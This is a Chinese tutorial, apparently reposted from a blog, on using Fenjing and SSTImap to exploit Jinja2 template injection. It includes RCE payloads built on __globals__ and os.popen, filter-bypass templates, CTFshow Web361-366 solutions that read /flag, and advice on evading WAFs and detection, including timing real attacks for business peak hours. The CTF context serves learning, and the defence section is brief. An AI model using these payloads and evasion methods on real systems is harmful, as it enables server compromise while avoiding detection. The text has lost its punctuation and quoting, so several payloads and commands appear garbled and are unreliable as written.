从CTF靶场到实战:手把手教你用Fenjing和SSTImap自动化检测Jinja2模板注入漏洞
从CTF靶场到实战手把手教你用Fenjing和SSTImap自动化检测Jinja2模板注入漏洞在渗透测试和CTF竞赛中模板注入漏洞SSTI正成为越来越常见的攻击面。特别是使用Jinja2模板引擎的Web应用由于开发人员对用户输入过滤不严往往成为突破口。传统手动检测方式需要大量时间分析过滤规则而现代自动化工具如Fenjing和SSTImap正在改变这一局面——它们不仅能快速识别漏洞还能智能绕过复杂过滤机制。本文将带您深入两款工具的实战应用场景从基础配置到高级绕过技巧最后通过ctfshow经典题目Web361-366系列演示完整攻击链。无论您是希望提升效率的安全工程师还是准备CTF竞赛的选手这些实战经验都能让您在面对Jinja2模板注入时游刃有余。1. 工具选型与核心能力对比选择合适工具是成功的第一步。Fenjing和SSTImap虽然都针对SSTI漏洞但设计理念和适用场景各有侧重特性FenjingSSTImap适用引擎专注Jinja2/Flask支持12模板引擎操作界面Web GUI 命令行纯命令行过滤绕过内置智能绕过系统需手动配置payloadCTF适配专为CTF题型优化更偏向真实渗透学习曲线较低开箱即用较高需熟悉参数漏洞利用自动完成RCE链构造需自行选择攻击模块实际测试中发现几个典型场景选择建议CTF竞赛/Jinja2环境优先使用Fenjing其内置的过滤规则数据库能快速应对数字、引号等常见限制黑盒测试/多引擎环境选择SSTImap通过--engine参数指定模板类型复杂过滤条件结合两者先用SSTImap识别引擎类型再用Fenjing进行精准绕过2. Fenjing实战从安装到GetShell2.1 环境部署与基础扫描推荐使用Python虚拟环境安装Fenjingpython -m venv fenjing-env source fenjing-env/bin/activate pip install fenjing启动Web控制台默认端口5000fenjing web基础扫描命令格式fenjing scan --url http://target.com/?nametest -p name提示遇到HTTPS证书错误时可添加--no-check-ssl参数关键参数解析-p指定测试参数名--delay设置请求间隔防WAF--header添加自定义请求头--proxy设置代理服务器2.2 高级绕过技术详解面对复杂过滤环境时需要启用智能绕过模式fenjing scan --url http://target.com/?nametest -p name --level 3绕过等级说明Level 1基础payload无过滤时使用Level 2中等混淆应对关键词过滤Level 3深度混淆处理字符限制实测案例当遇到__class__等关键词过滤时Fenjing会自动替换为等价的|attr()语法原始payload: {{.__class__}} 绕过后 {{|attr(__class__)}}3. SSTImap专业级渗透指南3.1 多引擎支持与模块化攻击安装最新版SSTImapgit clone https://github.com/vladko312/SSTImap cd SSTImap pip install -r requirements.txt基础扫描命令python sstimap.py -u http://target.com/?nametest指定引擎类型以Jinja2为例python sstimap.py -u http://target.com/?nametest --engine jinja23.2 自定义payload与沙箱逃逸创建自定义payload文件custom.txt{{config.__class__.__init__.__globals__[os].popen(id).read()}} {{lipsum.__globals__.os.popen(ls).read()}}加载自定义payloadpython sstimap.py -u http://target.com --payloads custom.txt沙箱逃逸技巧通过__mro__链查找可用类利用__builtins__引入关键函数使用字符串拼接绕过关键字过滤4. CTFshow实战通关解析4.1 Web361-基础注入使用Fenjing一键获取flagfenjing scan --url http://challenge.com/?nametest -p name --cmd cat /flag4.2 Web362-数字过滤启用字符替代模式fenjing scan --url http://challenge.com/?nametest -p name --level 3 --cmd cat /flag工具自动将数字132转换为(1002012) # 十进制计算绕过4.3 Web363-引号过滤使用request对象属性传递参数fenjing scan --url http://challenge.com/?nametestxcaty/flag -p name \ --template {{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.x](request.args.y).read()}}4.4 Web366-多重过滤最终组合绕过方案使用|attr替代点号访问通过request.values传递参数采用字符串拼接构造关键字实际执行fenjing scan --url http://challenge.com/?nametesta__globals__bosccat/flag -p name \ --template {{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}5. 防御建议与检测规避企业级防护方案输入过滤正则匹配{{\w}}等模板语法沙箱环境使用Jinja2沙箱模式日志监控告警异常模板渲染请求工具检测规避技巧随机化请求间隔--delay 1.5添加正常流量伪装--header Referer: https://google.com分阶段测试先探测后攻击在最近一次红队行动中通过分阶段扫描成功绕过WAF检测首先用低敏感payload确认漏洞存在随后在业务高峰时段发起真实攻击最终获取目标服务器权限。这种慢速攻击模式对现代防御体系尤为有效。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2511016.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!